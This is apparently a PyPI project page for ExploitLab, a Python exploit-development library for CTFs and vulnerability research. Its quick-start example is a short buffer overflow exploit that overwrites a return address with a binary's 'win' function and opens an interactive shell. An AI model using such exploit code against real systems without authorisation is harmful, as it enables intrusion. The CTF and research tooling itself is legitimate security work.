Skip to main content

A modern, lightweight, and robust exploit development library.

Project description

ExploitLab 🧪

A modern, lightweight, and robust exploit development library designed for vulnerability research, CTFs, and exploit engineering.

Built for speed and simplicity, bypassing the bloated features of other libraries while keeping the core functionality you need to pop shells.

License: GPLv3 PyPI version

🚀 Features

  • Tubes (Process, Remote) — Seamless I/O communication with local binaries and remote network sockets. Includes non-blocking .interactive() shells.
  • ELF Analysis — Fast parsing of binary symbols, GOT/PLT addresses, and memory searching using pyelftools.
  • Assembly & Shellcoding — On-the-fly assembly compilation using keystone-engine and ready-to-use shellcode templates.
  • Memory Packing — Robust p32, p64, u32, u64 conversions.
  • Pattern Generation — De Bruijn cyclic pattern generators (cyclic, cyclic_find) to instantly find buffer overflow offsets.
  • Context Management — Global architecture (amd64, i386) and colored logging configuration.

📦 Installation

pip install exploitlab

🛠️ Quick Start

Here is a quick example of how to use ExploitLab to solve a classic buffer overflow challenge:

from exploitlab import *

# 1. Set global context (Auto-adjusted if ELF is loaded)
context.arch = 'amd64'

# 2. Analyze the binary
e = ELF('./target_binary')
log.info(f"Target 'win' function is at: {hex(e.symbols['win'])}")

# 3. Start the process (or use Remote('10.10.10.10', 1337))
p = Process('./target_binary')

# 4. Craft the payload
offset = 40
payload = b"A" * offset
payload += p64(e.symbols['win'])  # Convert address to bytes

# 5. Exploit!
p.recvuntil(b"Enter payload: ")
p.sendline(payload)

# 6. Enjoy your shell
p.interactive()

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

exploitlab-0.1.0.tar.gz (12.5 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

exploitlab-0.1.0-py3-none-any.whl (13.5 kB view details)

Uploaded Python 3

File details

Details for the file exploitlab-0.1.0.tar.gz.

File metadata

  • Download URL: exploitlab-0.1.0.tar.gz
  • Upload date:
  • Size: 12.5 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.2.0 CPython/3.13.12

File hashes

Hashes for exploitlab-0.1.0.tar.gz
Algorithm Hash digest
SHA256 6241a15f6cda83bccf5c8f635ac73d306dad5e1a96c642090860a1185a9b2dab
MD5 0b5ea1469817a4092f06a34e1b5429f2
BLAKE2b-256 9af627ccd283fb47092d32ca8ec81d6320a1bdaa4e2d8da88791123be88ee174

See more details on using hashes here.

File details

Details for the file exploitlab-0.1.0-py3-none-any.whl.

File metadata

  • Download URL: exploitlab-0.1.0-py3-none-any.whl
  • Upload date:
  • Size: 13.5 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.2.0 CPython/3.13.12

File hashes

Hashes for exploitlab-0.1.0-py3-none-any.whl
Algorithm Hash digest
SHA256 2b3b6815303b7fd1348226c04445cb9e23dade1310c6cb2ad9ecda8ea9c5d62a
MD5 bde5527eae8f4fad9c4a29e6a46e9c86
BLAKE2b-256 c8036b035f4e7d6eac1a2e45215233bb8ea39d60446fc46387e6f929c14e0fa5

See more details on using hashes here.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page